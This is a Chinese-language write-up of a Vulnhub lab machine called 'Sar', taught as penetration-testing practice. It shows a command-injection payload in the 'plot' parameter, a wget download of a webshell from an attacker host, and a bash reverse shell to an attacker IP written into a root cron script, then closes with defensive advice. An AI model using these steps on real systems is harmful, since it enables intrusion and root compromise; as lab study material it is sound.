打靶日记——Sar
字数 1430 2025-08-29 22:41:38
打靶日记——Sar 渗透测试教学文档
1. 目标概述
本次渗透测试的目标是一个名为"Sar"的Vulnhub靶机,攻击链完整且标准,适合作为渗透测试学习案例。
2. 信息收集阶段
2.1 主机发现
- 使用工具:nmap
- 发现目标主机开放端口:仅80端口
2.2 端口扫描
- 详细扫描命令:
nmap -sV -p 80 <target_ip> - 结果:仅发现80端口开放,运行HTTP服务
- 进一步漏洞扫描:
nmap --script vuln <target_ip>- 发现两个可疑文件(未明确说明文件名)
3. 渗透阶段
3.1 Web应用枚举
- 访问80端口:显示默认网站搭建成功页面
- 目录爆破:
- 使用工具:未明确说明(可能是dirb、gobuster等)
- 结果:仅发现nmap扫描时找到的两个文件
- 检查robots.txt:
- 发现一个字符串(可能是目录名)
- 将该字符串作为目录访问,发现一个信息收集系统
- 获取CMS版本信息
3.2 漏洞利用
- 搜索该CMS的已知漏洞:
- 发现一个RCE(远程代码执行)漏洞
- Exploit-DB中存在该漏洞的EXP
- 漏洞利用方式:
- 漏洞位置:首页的plot参数
- 利用方法:在plot参数后添加分号和要执行的命令
- 示例:
?plot=;ls
- 示例:
- 点击"Select Host"按钮执行命令
- 使用现成Python脚本:
- 在Kali中搜索并找到相关EXP
- 分析脚本执行逻辑后直接使用
3.3 获取初始立足点
- 尝试反弹shell失败
- 替代方案:
- 在攻击机启动Python HTTP服务器:
python -m http.server 80 - 在目标机下载webshell:
wget http://<attacker_ip>/shell.php - 执行webshell获取系统访问权限
- 在攻击机启动Python HTTP服务器:
4. 权限提升
4.1 初始权限检查
- 命令:
sudo -l - 结果:当前用户无特权
4.2 SUID文件检查
- 命令:
find / -perm -4000 2>/dev/null - 发现多个SUID文件,但无常见可利用文件
4.3 自动化任务检查
- 检查crontab:
- 命令:
cat /etc/crontab - 发现一个以root权限执行的定时任务
- 该任务执行网站根目录下的某个文件
- 命令:
- 分析定时任务:
- 定时任务执行
write.sh脚本 write.sh内容:在/tmp目录下创建gateway文件
- 定时任务执行
- 利用方法:
- 使用echo写入反弹shell命令到受控文件
- 示例:
echo "bash -i >& /dev/tcp/<attacker_ip>/4444 0>&1" > /path/to/write.sh
- 等待定时任务执行,获取root权限shell
5. 总结与学习要点
5.1 攻击链总结
- 信息收集 → 2. Web目录枚举 → 3. 发现CMS漏洞 → 4. RCE利用 → 5. 获取初始shell → 6. 定时任务提权
5.2 关键学习点
- robots.txt文件的重要性
- 已知CMS漏洞的利用方法
- 当直接反弹shell失败时的替代方案
- 定时任务提权的标准方法
- 完整的渗透测试流程实践
5.3 适用场景
- OSCP备考练习
- 基础渗透测试技能训练
- Web应用安全学习
6. 防御建议
- 及时更新CMS系统
- 限制robots.txt中的敏感信息暴露
- 对用户输入进行严格过滤
- 避免使用root权限执行定时任务
- 定期检查系统上的SUID文件
- 实施最小权限原则